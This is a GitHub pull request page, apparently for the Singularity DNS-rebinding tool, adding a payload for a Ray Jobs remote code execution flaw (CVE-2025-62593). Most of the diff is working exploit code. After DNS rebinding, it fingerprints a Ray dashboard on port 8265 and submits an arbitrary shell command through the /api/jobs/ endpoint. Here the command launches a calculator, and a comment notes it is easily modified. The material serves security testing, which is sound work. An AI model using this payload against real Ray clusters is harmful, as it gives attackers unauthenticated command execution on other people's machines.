-
Notifications
You must be signed in to change notification settings - Fork 156
Add Ray Jobs RCE Payload CVE-2025-62593 #68
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
+105
−0
Merged
Changes from 2 commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -54,5 +54,9 @@ | |
| }, { | ||
| "name": "H2 Log4Shell RCE", | ||
| "ports": [8082] | ||
| }, | ||
| { | ||
| "name": "Ray Jobs RCE", | ||
| "ports": [8265] | ||
| }] | ||
| } | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,101 @@ | ||
| /** | ||
| * This payload exploits Ray (https://github.com/ray-project/ray) | ||
| * It opens the "Calculator" application on various operating systems. | ||
| * The payload can be easily modified to target different OSes or implementations. | ||
| * The TCP port attacked is 8265. | ||
| */ | ||
|
|
||
| const RayRce = () => { | ||
|
|
||
| // Invoked after DNS rebinding has been performed | ||
| function attack(headers, cookie, body) { | ||
| // Get the current timestamp in milliseconds | ||
| const timestamp = Date.now(); | ||
|
|
||
| // OS-agnostic calculator command that tries multiple approaches | ||
| const calculatorCommand = ` | ||
| # Try Windows calculator first | ||
| if command -v calc.exe >/dev/null 2>&1; then | ||
| echo Windows calculator launching | ||
| calc.exe & | ||
| # Try macOS calculator | ||
| elif command -v open >/dev/null 2>&1; then | ||
| echo macOS calculator launching | ||
| open -a Calculator & | ||
| elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then | ||
| echo macOS calculator launching | ||
| /System/Applications/Calculator.app/Contents/MacOS/Calculator & | ||
| # Try Linux calculators | ||
| elif command -v gnome-calculator >/dev/null 2>&1; then | ||
| echo Linux calculator launching | ||
| gnome-calculator & | ||
| elif command -v kcalc >/dev/null 2>&1; then | ||
| echo Linux calculator launching | ||
| kcalc & | ||
| elif command -v xcalc >/dev/null 2>&1; then | ||
| echo Linux calculator launching | ||
| xcalc & | ||
| # Fallback: try to find any calculator binary | ||
| else | ||
| echo Linux calculator launching | ||
| find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} & | ||
| fi | ||
| echo RAY RCE: ${timestamp} | ||
| `; | ||
|
|
||
| const data = { | ||
| "entrypoint": calculatorCommand, | ||
| "runtime_env": {}, | ||
| "job_id": null, | ||
| "metadata": { | ||
| "job_submission_id": timestamp.toString(), | ||
| "source": "nccgroup/singularity" | ||
| } | ||
| }; | ||
|
|
||
| sooFetch('/api/jobs/', { | ||
| method: 'POST', | ||
| headers: { | ||
| 'User-Agent': 'Other', | ||
| }, | ||
| body: JSON.stringify(data), | ||
| }) | ||
| .then(response => { | ||
| console.log(response); | ||
| return response.json() | ||
| }) // parses JSON response into native JavaScript objects | ||
| .then(data => { | ||
| console.log('Success:', data); | ||
| }) | ||
| .catch((error) => { | ||
| console.error('Error:', error); | ||
| }); | ||
| } | ||
|
|
||
| // Invoked to determine whether the rebinded service | ||
| // is the one targeted by this payload. Must return true or false. | ||
| async function isService(headers, cookie, body) { | ||
| return sooFetch("/",{ | ||
| mode: 'no-cors', | ||
| credentials: 'omit', | ||
| }) | ||
| .then(function (response) { | ||
| return response.text() | ||
| }) | ||
| .then(function (d) { | ||
| if (d.includes("You need to enable JavaScript")) { | ||
| return true; | ||
| } else { | ||
| return false; | ||
| } | ||
| }) | ||
| .catch(e => { return false; }) | ||
| } | ||
|
|
||
| return { | ||
| attack, | ||
| isService | ||
| } | ||
| } | ||
|
|
||
| Registry["Ray Jobs RCE"] = RayRce(); | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.